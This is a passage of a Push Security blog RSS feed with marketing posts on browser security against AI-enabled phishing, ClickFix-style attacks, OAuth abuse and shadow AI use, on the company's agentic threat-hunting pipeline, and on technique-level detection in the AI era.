href="https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security/"><u>purpose-built browser security</u></a> rather than bolted-on features from platforms designed for a different layer. The endpoint is covered. The browser is where the work is now.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. <a href="https://pushsecurity.com/book-demo/">Book a live demo to learn more</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Why you can't control AI without being in the browser</title>
      <link>https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser</guid>
      <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Kelly Davenport</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>Why the right browser security tool makes a separate AI visibility and control purchase unnecessary — and how to decide what you actually need.</description>
      <content:encoded><![CDATA[<p>When is a fork not a fork? When it&#39;s a browser security platform built to solve both problems of the AI era.</p><p>Many security leaders are rightly worried about two big problems in the age of AI: AI-enabled attacks targeting their employees via the browser; and employees introducing the risk of data loss through their use of AI tools.</p><p><b>For security teams researching browser-based solutions to these challenges, the decision at first looks like a fork in the road: </b>Choose a solution that&#39;s purpose-built to detect and respond to modern browser-based attacks like AI-enabled phish kits, ClickFix and other *Fix-style attacks, malicious browser extensions, device code phishing, and others; <i>or</i> select an AI governance tool to enforce sensible policies for sensitive data in the browser.</p><p>Push solves both of these problems. One platform, one SKU.</p><p>In this article, we&#39;ll take a look at the two big AI security and data governance problems that security teams are facing and outline how Push solves them in a single solution. We’ll cover what questions to ask as you evaluate browser security solutions, and describe Push&#39;s focus on providing foundational telemetry, detections, and controls that allow you to answer the question “What actually happened here?” not just “What policy was violated?”</p><hr/><h1><b>The AI risks every security team is now responsible for</b></h1><p>AI is an amplifier, for adversaries and for your employees. Whatever they could do before, they can now do faster, more powerfully, and at scale.</p><p>The two risks that every security team now must manage: </p><ul><li><p>AI is making browser-based attacks faster, cheaper, and harder to detect.</p></li><li><p>Employee AI adoption is creating data exposure faster than security teams can respond.</p></li></ul><p>Both of these challenges intersect in the same place: The browser. It&#39;s the place where adversaries target employees with modern attacks designed to accomplish account takeover and data exfiltration. It&#39;s also the place where workers discover and use new AI-enabled apps and introduce risk into the business in the form of data loss, shadow apps, risky browser extensions, and shadow integrations.</p><p>To address both problems, security teams need visibility and control in the browser.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3vtPqgrZRuVxkVKw9sGLor/ce1d265590cfc23848e25b03fb3ed5a2/image4.png" alt="The browser is the natural control point for both AI-enabled attacks targeting employees and AI tool usage that introduces risk into organizations. "/><figcaption>The browser is the natural control point for both AI-enabled attacks targeting employees and AI tool usage that introduces risk into organizations.</figcaption></figure><hr/><h1><b>How AI is transforming attacks</b></h1><p>On the adversary side of the equation, adversaries are using AI tooling to rapidly iterate on new attack types or new iterations of existing browser-based TTPs that target employees to achieve account or endpoint compromise — usually with the end goal of harvesting valuable corporate identities in order to exfiltrate data or hold it for ransom.</p><p>Learn how AI-enabled attacks are making infrastructure-based detection increasingly ineffective in our <a href="https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/">update on the Pyramid of Pain concept for 2026</a>.</p><p>AI is changing attacks in three key ways.</p><h2><b>AI has supercharged the iteration and evolution of adversary tools and techniques</b></h2><p>Attackers are using the same AI capabilities as any other engineer who wants to multiply their output. That translates to an array of new attack techniques: multiple increasingly sophisticated variations of the <a href="https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/"><u>ClickFix-style attacks</u></a> that use social engineering techniques to get users to unknowingly install malware via malicious scripts; as well as creative <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>exploitation of device codes</u></a>, a legitimate authentication mechanism, that allows attackers to phish access post-authentication.</p><p>Device code phishing in particular demonstrates the rapid growth of new techniques, with early documented appearances of the TTP occurring in 2024, and by early the next year, the method had been packaged as a PhaaS offering with GPT-enhanced spear-phishing and customized landing pages. The <a href="https://www.huntress.com/blog/device-code-phishing-ai-mfa-bypass">campaign</a> targeted more than 340 organizations across five countries in March 2026, using personalized AI-generated lures at a scale that would have been impractical to produce manually.</p><p>Nearly every phishing toolkit that Push encounters in the wild today displays the fingerprints of AI use. Check out our <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/"><u>recent analysis</u></a> of Doko&#39;s Panel, a real-time vishing and AiTM kit, for a under-the-hood look at this. </p><h2><b>Infrastructure-based detections are increasingly degraded by AI-enabled approaches</b></h2><p>AI has also collapsed the cost and time it takes to build convincing phishing infrastructure: Attackers can vibecode a convincing phishing page in minutes, burn the domain, and regenerate another one before any blocklist updates. </p><p>According to <a href="https://www.spamhaus.com/resource-center/supporting-researchers-with-passive-dns/"><u>Spamhaus</u></a>, 89% of phishing domains are active for fewer than two days, with just 6.5% surviving past 15 days. That means that if you&#39;re primarily looking at static indicators, you&#39;re already behind. IOC-based detections can&#39;t keep up with how quickly attackers can rotate infrastructure.</p><p>The impact on IOC-based detections that rely on infrastructure elements is severe: When elements constantly change, every phishing attack is essentially a zero-day. Complicating the picture further is the increasing use of legitimate cloud platforms like <a href="https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign"><u>Railway</u></a>, Cloudflare Workers, and Vercel, which attackers use to host and dynamically rotate attack infrastructure.</p><h2><b>AI is making it easier to build and run omni-channel campaigns</b></h2><p>Push researchers have written extensively over the last year about malvertising campaigns that serve malicious pages to users via search engine results, enticing them to visit sites designed to steal credentials or deliver malware. </p><p>We&#39;ve tracked <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/"><u>sustained campaigns</u></a> impersonating Onfido, TradingView, Ahrefs, Semrush, and others. These campaigns are part of a self-reinforcing criminal ecosystem: Malvertising campaigns paid for by stolen ad accounts, with credential theft that funds the next round of credential theft. And the recent <a href="https://pushsecurity.com/blog/llmshare-malvertising-campaign/">LLMShare</a> campaign identified by Push shows how attackers are combining their abuse of AI tools of AI-assisted phishing page creation with malvertising, helping them to spin up lookalike pages quickly and cheaply to serve as convincing lures.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png" alt="LLMShare example"/><figcaption>The recent LLMShare campaign shows how attackers are abusing AI tools, legitimate pages, and malvertising.</figcaption></figure><p>These are just a few examples of how phishing has moved beyond the inbox, targeting users through malvertising, SEO poisoning, and social media DMs. Over the last year, Push researchers found that <b>1 in 3 payloads intercepted by the platform were sent outside of email</b>.</p><hr/><h1><b>How AI is creating risky employee behaviors </b></h1><p>Meanwhile, on the employee side of the equation, there are three other key concerns that security teams should be paying attention to when it comes to the risks associated with AI use.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7vCbQdyRkjLs5EmsjBBAQp/3bfb13e7ec19be76325cdc69297c48c3/ai-sprawl-infographic_2x__3_.png" alt="ai-sprawl-infographic"/><figcaption>AI sprawl is worse than most organizations realize.</figcaption></figure><h2><b>Data leaving the business via shadow AI</b> <b>and AI extensions</b></h2><p>Employees are signing up to AI tools directly, beyond the bounds of procurement or security review. That means security teams can&#39;t see sensitive data going into LLMs — clipboard pastes of API keys, file uploads to coding assistants, customer data in uploaded spreadsheets, etc.</p><p>Most teams also don&#39;t have visibility of AI browser extensions, another avenue for data to leave the business. Extensions are also an attack surface in their own right, as previously benign extensions can be compromised by threat actors through account takeover of the extension developer.</p><h2><b>Employees using personal accounts on corporate AI app tenants</b> </h2><p>The 2026 <a href="https://www.verizon.com/business/resources/reports/dbir/"><u>Verizon DBIR</u></a> found that 67% of GenAI users on corporate devices are using non-corporate accounts, and our own data shows that 38% of file uploads to AI tools are made from shadow accounts rather than approved organizational ones.</p><p>That means a large number of employees in most organizations are using AI apps with personal accounts, outside of organizational data governance, retention policies, access controls, or basic security oversight. </p><p>The compounding risk is that personal accounts are typically protected by weaker passwords, inconsistent MFA, and credential reuse from other personal services — meaning a compromise of the personal account could give an attacker access to corporate data and tools.</p><h2><b>Shadow integrations between AI tools and corporate systems</b></h2><p>App-to-app connections accomplished through OAuth are also proliferating faster than most teams can observe and review them. For the average organization, Push sees 17 unique AI app OAuth integrations connected just to Microsoft and Google corporate tenants.</p><p>The <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/"><u>recent Vercel breach</u></a> illustrates the risks of even a single OAuth connection from a compromised third-party AI SaaS provider. This isn&#39;t really a new AI threat so much as a shadow SaaS problem that&#39;s accelerating alongside AI adoption, given that AI apps are specifically designed to pull data from one system, analyze it in another, and present it in a third — with MCP connections now creating the same kind of persistent, permissioned access through an authentication protocol (OAuth) that most organizations have no process to review.</p><p>The Vercel breach isn&#39;t an isolated incident. ShinyHunters demonstrated the breadth and scale of <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/#id-vector-3-oauth-supply-chain-attacks-through-compromised-integrators"><u>OAuth-targeted attacks last year</u></a>, impacting more than 1,000 organizations in targeted campaigns against Salesloft/Drift. Adversaries compromised Salesloft’s GitHub environment, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight.</p><p>This is the same web of OAuth-connected apps that is being exposed at scale through AI tool integrations. For many organizations, AI tools are now the hub of modern activity that orchestrates and automates across the mesh of cloud apps, which adds a useful perspective on what&#39;s changed. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7mRgALIClC1R2Cmuu7xKse/cdaf8cbb26a54ad75b7d52a8c92b1f84/Group_737.png" alt="AI tools are the hub of the modern workplace. "/><figcaption>AI tools are the hub of the modern workplace.</figcaption></figure><p><b>A word on prompt injection: </b>Prompt injection is a serious and structurally difficult to solve problem, and one AI researchers and the security industry are still working out how to defend against. </p><p>High-impact attacks of this kind are still rare in the wild, but the building blocks are all demonstrated and the attack surface is growing as agentic browsers and in-app AI features proliferate. The threat is evolving quickly and detections are still limited, so it pays to start with the controls that hold up regardless of how attacks evolve. </p><p>This starts with knowing which AI browsers, extensions, and assistants employees are using, which SaaS apps have AI features enabled, and what OAuth scopes those AIs have been granted. The blast radius of any successful prompt injection is exactly the data and actions those grants permit, so visibility into AI tooling and AI-connected identity is the foundation that any further defense builds on.</p><hr/><h1><b>What to ask when evaluating browser-based AI visibility and control solutions</b></h1><p>When you&#39;re evaluating AI visibility and control platforms that operate in the browser, there are two lines of questioning that can be useful to unpack.</p><p>The first is the tactical basics: What use cases does the product cover, and how quickly will you see value? In this category, you&#39;ll likely be looking for:</p><ul><li><p><b>Depth of visibility:</b> Can the solution observe both corporate and personal account usage of AI apps? Does the solution work with all major browsers, including emerging AI browsers? Does the solution automatically classify AI apps and automatically discover shadow AI?</p></li><li><p><b>Granularity of controls:</b> Does the solution support visibility and control over clipboard interactions, allowing you to identify sensitive data strings like personal access tokens (PATs) or API keys? Does the solution allow you to set multiple enforcement modes (monitor, warn, block) and carve out exceptions for tools, teams and individuals where necessary? </p></li><li><p><b>Ease of deployment:</b> How is the solution deployed? Browser extension-based solutions like Push can be deployed at scale in an hour. Solutions that require an endpoint agent or a complete browser replacement will be a heavier lift.</p></li><li><p><b>Scope of coverage:</b> Does the solution only enforce policy around AI usage, or does it also prevent AI-enabled attacks in the browser? </p></li></ul><p>The second set of questions is more about the underlying architectural choices a product has made, and how those translate into actionable intelligence for security teams — or where there may be blind spots. In this category, you will want to ask:</p><h2>Does the tool capture AI interactions that didn’t trigger a policy violation — or only the ones it blocked?</h2><p>This is the most useful diagnostic if you&#39;re focused on understanding the wider security meaning and impact of an AI interaction, not just whether it violated a policy. </p><p>Enforcement-first tools record what they stopped: blocked uploads, attempted usage of unapproved apps, flagged file names, etc. </p><p>That&#39;s useful for compliance reporting but incomplete for security investigation, because <b>the most significant events are often the ones that looked normal at the time</b>: A user whose behavior shifted gradually over weeks before a resignation. An approved AI browser extension that updates its permissions, putting it in risky territory. An OAuth consent grant that was technically permitted but shouldn&#39;t have been.</p><p>Ask whether the tool can collect user behavior telemetry, file upload and download activity, and AI usage logs for permitted events — not just policy violations — and whether that telemetry can be forwarded to your SIEM. </p><p>One approach gives you an investigation tool. The other gives you compliance alerts without deeper context.</p><h2>When an AI agent requests OAuth permissions to access your organization&#39;s data, does the tool capture the consent flow — what scopes were requested on which app, which user initiated the consent, and what was the outcome?</h2><p>Most enforcement-first tools treat OAuth as a binary: approved app or blocked app. That was a reasonable model when OAuth grants were primarily app-to-app integrations managed by IT. It isn&#39;t sufficient for agentic AI.</p><p>AI agents request OAuth permissions to access organizational data on behalf of users. These are user-initiated consent grants that happen inside browser sessions, often with broad scopes, and frequently without security team awareness. The right tool needs to capture the consent event itself: what permissions were requested, what scopes were granted, who approved them, and what application received them. </p><p>Ask whether the tool monitors OAuth consent flows across authorization servers, whether it can warn or block consent grants in real time based on policy, and whether that coverage extends to AI-enabled apps and MCP connections.</p><h2>When a new browser attack technique emerges that no tool has a signature for, how long does it take the platform to detect it — and can you show a specific example?</h2><p>Attackers are rotating infrastructure in hours and using AI to generate new lures and phishing pages at scale. A detection model built on blocklists, reputation feeds, and known-bad indicators is architecturally behind any novel technique because by the time the indicator appears on a feed, the attacker has already moved on.</p><p>Ask vendors to show you a specific detection that fired on a novel technique before the infrastructure appeared on any threat feed.</p><h2>What browser telemetry reaches your SIEM — just alerts, or the underlying session data that makes those alerts investigable?</h2><p>Ask to see a sample SIEM event from a real detection. Many browser security tools integrate with SIEMs, but the depth of what they forward varies a lot. </p><p>Some send alert metadata that captures policy violations, timestamps, and involved users. Others forward a broader set of telemetry for deeper context — credential reuse, app logins, newly installed extensions, detected phishing kits, file uploads, clipboard activity, OAuth consent flows, file downloads, etc. </p><p>The difference determines whether your SOC team can easily correlate signals from the browser-based tool with other layers of their stack and begin an investigation from the SIEM event itself — or whether they need to pivot back into the vendor&#39;s console for the actual evidence.</p><hr/><h1><b>AI visibility and control is a feature of the right browser security platform, not a separate purchase</b></h1><p>Ultimately, the choice of browser platform for solving the two big problems of the AI era comes down to whether you need broader attack coverage and telemetry context in order to secure your organization, or whether a policy-based approach is enough. </p><p>Push treats the challenges of stopping AI-enabled attacks and providing visibility and control over AI usage as features that extend naturally from the platform&#39;s underlying architectural model: Rich browser-layer telemetry in <b>a single tool that helps security teams answer the question “What actually happened here?” not just “What policy was violated?”</b></p><p>This unified architecture matters because the AI control problem and the browser threat detection problem share a root cause: Security-relevant activity is happening inside browser sessions that most tools can&#39;t see. </p><p>A standalone AI governance tool can tell you which AI apps are in use and whether employees violated a usage policy. It can&#39;t tell you whether the OAuth grant an AI agent just received was part of a broader pattern that includes credential entry on an unfamiliar domain, a clipboard paste from an internal document, and a login to a shadow SaaS app — all in the same session, all visible in the same telemetry stream. </p><p>Separating AI governance from browser security means maintaining two tools that each only see half the picture. </p><h2>How Push can help</h2><ul><li><p>Block emerging <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/"><u>browser-based attack techniques</u></a>, including AI-enabled phishing and quickly evolving *Fix-style attacks.</p></li><li><p>Benefit from Push&#39;s <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/"><u>agentic detection pipeline</u></a>, which continuously hunts across customer environments to identify emerging threats and ship new detections.</p></li><li><p><a href="https://pushsecurity.com/help/audience/engineering/rest-v1"><u>Stream telemetry</u></a> to your SIEM for a wide variety of events, including attack detections; newly installed browser extensions or newly adopted apps; updates to extension permissions; file uploads and downloads; clipboard pastes; app logins; credential reuse; OAuth consents; and more.</p></li><li><p>Block file uploads and downloads.</p></li><li><p>Block clipboard pastes of sensitive data, with regex-based patterns you can define.</p></li><li><p>Monitor for or block unauthorized MCP connections.</p></li><li><p>Write your own <a href="https://pushsecurity.com/help/audience/engineering/resources/custom-detections"><u>custom YAML rules</u></a> targeting specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.</p></li></ul><p></p><hr/><p>If you&#39;d like to learn more about Push, <a href="https://pushsecurity.com/demo"><u>book a live demo</u></a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>No, you can’t just vibecode an AI-driven threat hunting pipeline</title>
      <link>https://pushsecurity.com/blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline</guid>
      <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Kelly Davenport</dc:creator>
      <category>Browser security</category>
      <category>Browser-based attacks</category>
      <description>Push uses commercial AI models to deliver agentic threat hunting. Can’t you just build something yourself with those same models? Well, no.</description>
      <content:encoded><![CDATA[<p>What would it take to vibecode your own AI-driven threat hunting pipeline? </p><p>The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)</p><p>We recently published a <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline"><u>detailed look</u></a> at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.</p><p><b>So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?</b></p><p>It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.</p><p><b>Let’s break it down.</b></p><hr/><h1>The promise and the perils of threat hunting (and where agentic capabilities fit in)</h1><p>Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least accessible.</p><p>The <a href="https://www.sans.org/white-papers/sans-2025-threat-hunting-survey-advancements-threat-hunting-amid-ai-cloud-challenges">SANS 2025 Threat Hunting Survey</a> found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.</p><p>Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. </p><p><b>AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don&#39;t map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. </b></p><p>Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn&#39;t historically been available.</p><p>Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.</p><p>Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.</p><p>A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.</p><hr/><h1>This isn’t chatbot log analysis</h1><p>When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.</p><p>That’s not what we built at Push.</p><p>If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to <a href="https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser/">perform data loss and insider risk investigations</a>, too.</p><p>What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.</p><p>Our pipeline differs from AI-enabled log analysis in three key ways:</p><h2>A new telemetry source is the foundation</h2><p>First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. </p><p>This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.</p><h2>Proactive hunting, not just reactive triage</h2><p>The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.</p><p>Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven&#39;t triggered any existing alert or rule. </p><p>The <a href="https://pushsecurity.com/blog/installfix/"><u>InstallFix discovery</u></a> described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That&#39;s threat hunting at machine scale, not just alert triage.</p><h2>Not just analysis, but new detections, too</h2><p>Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. </p><p>The pipeline&#39;s job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn&#39;t exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.</p><hr/><h1>Agentic threat hunting as core product infrastructure</h1><p>The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.</p><p>Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.</p><p>The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/vsZeU4aJ54AUHwTqmB9rQ/95612df4929512599c26f5727af8e420/image1_10.png" alt="High-level view of our agentic threat hunting pipeline."/><figcaption>High-level view of our agentic threat hunting pipeline.</figcaption></figure><h2>Component 1: The flight recorder</h2><p>We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. </p><p>A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.</p><p>That&#39;s a data source most security teams have never had access to. You can&#39;t get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn&#39;t exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.</p><p>The Push extension, the telemetry it collects, and the scale (3 million browsers and counting) at which it operates is the underlying capability that makes our agentic threat hunting possible.</p><h2>Component 2: The internal knowledge base</h2><p>As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.</p><p>That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. </p><p>This knowledge base also reflects a deliberate architectural choice. </p><blockquote><p>As our CPO Jacques Louw put it on <a href="https://risky.biz/RBNEWSSI128/">Risky Business</a>: <i>&quot;There&#39;s no list of bad domains anywhere in the product. It&#39;s a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain.&quot;</i></p></blockquote><p>Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.</p><p>We&#39;ve also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. </p><p>Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.</p><h2>Component 3: The thoughtfully organized agents</h2><p>The engineering challenge isn&#39;t getting a model to analyze one browser event — it&#39;s keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called <b>context rot</b>. That&#39;s been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.</p><p>Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it&#39;s looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. </p><p>But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.</p><p>Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.</p><p>The consensus coming out of RSAC this year reinforces this approach. The industry&#39;s focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” </p><p><b>What matters is what goes into the model — the telemetry, the domain knowledge, the structured context — and what happens around it: the orchestration, quality control, and feedback loops.</b> That&#39;s where production reliability comes from, and it&#39;s where you’ll find the need for significant engineering effort.</p><h2>Component 4: The response engine</h2><p>Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.</p><p>Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.</p><p>Without a browser-layer enforcement tool, any knowledge of emerging attack methods can only be addressed by revoking sessions, resetting passwords, adding (short-lived) domains to a blocklist, wiping compromised machines, and other after-the-fact response actions that keep security teams on the back foot against these kinds of incidents. </p><hr/><h1>Learn more about Push and how we develop new detections</h1><p>For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we&#39;ve identified for using AI agents in security operations, check out our companion article: <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline">Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push</a>.</p><p>If you&#39;d like to see how our agentic detection capabilities apply to your environment, <a href="https://pushsecurity.com/demo">book a demo</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>The Pyramid of Pain in the AI era: Why technique-level detection matters more than ever</title>
      <link>https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era</guid>
      <pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Detection &amp; response</category>
      <category>Browser-based attacks</category>
      <description>AI is accelerating the collapse of indicator-based threat detection. Here's why you need technique-level detection to stay ahead.</description>
      <content:encoded><![CDATA[<p>Back in 2024, we wrote about <a href="https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/">how the Pyramid of Pain shapes Push&#39;s detection philosophy</a> — detections targeting indicators that are easy for attackers to change deliver diminishing returns, while detections targeting attacker techniques impose a cost that&#39;s hard to absorb. Two years on, every force that made IoC-based detection fragile has intensified.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7dPJT7PYKX71FCCi0GeDzg/16fb3b07959612a45c1b7636da33e541/image3.png" alt="The Pyramid of Pain illustrates how difficult it is for an attacker to get around different categories of detection, from Trivial to Tough"/><figcaption>The Pyramid of Pain illustrates how difficult it is for an attacker to get around different categories of detection, from Trivial to Tough!</figcaption></figure><p>AI hasn&#39;t introduced a new problem so much as it&#39;s compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.</p><p>These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility). </p><hr/><h1><b>The bottom of the Pyramid was already crumbling</b></h1><p>The case against indicator-based detection didn&#39;t need AI to be compelling. <a href="https://www.spamhaus.org/">89% of phishing domains are active for fewer than two days</a>, with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.</p><p>We&#39;ve <a href="https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/">written before</a> about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit&#39;s behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.</p><p>When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this: </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2KJMvUn55yStIIB5jIcy0n/c64a1d128567ed1189821b8160f81fe7/image6.png" alt="Pyramid of Pain for internet-based attacks"/><figcaption>The Pyramid of Pain reworked for internet-based attacks.</figcaption></figure><p>Now, it looks more like this:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5cUP2dETihxQgWzIN9dsyH/fcb093c7b88b7a48190f528c87dd3935/image2.png" alt="The Pyramid of Pain in the AI era"/><figcaption>The Pyramid of Pain in the AI era: The bar for effective detection has been raised even higher.</figcaption></figure><p>Let’s explore why. </p><h2><b>AI is accelerating phishing rotation and delivery</b></h2><p>Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the 